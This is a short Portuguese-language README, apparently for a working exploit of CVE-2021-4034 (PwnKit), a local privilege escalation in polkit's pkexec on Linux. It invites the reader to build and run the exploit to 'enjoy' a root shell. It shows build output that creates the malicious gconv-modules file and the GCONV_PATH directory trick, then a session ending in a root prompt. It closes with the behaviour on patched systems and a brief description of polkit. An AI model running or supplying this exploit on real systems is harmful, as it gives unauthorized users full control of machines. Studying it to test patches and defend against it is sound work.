
Exploit para CVE-2021-4034, uma vulnerabilidade de escalonamento de privilégios no polkit pkexec, fornecendo um shell root em sistemas Linux vulneráveis.
Basta executar make, ./cve-2021-4034 e aproveitar seu shell root.
Se o exploit estiver funcionando, você obterá um shell root imediatamente:
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
Atualizar o polkit na maioria dos sistemas corrigirá o exploit; portanto, você verá o uso e o programa será encerrado:
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
O Polkit (antigamente PolicyKit) é um componente para controlar privilégios em todo o sistema em sistemas operacionais do tipo Unix. Ele fornece uma maneira organizada para processos sem privilégios se comunicarem com processos privilegiados. Também é possível usar o polkit para executar comandos com privilégios elevados usando o comando pkexec seguido do comando que se pretende executar (com permissão de root).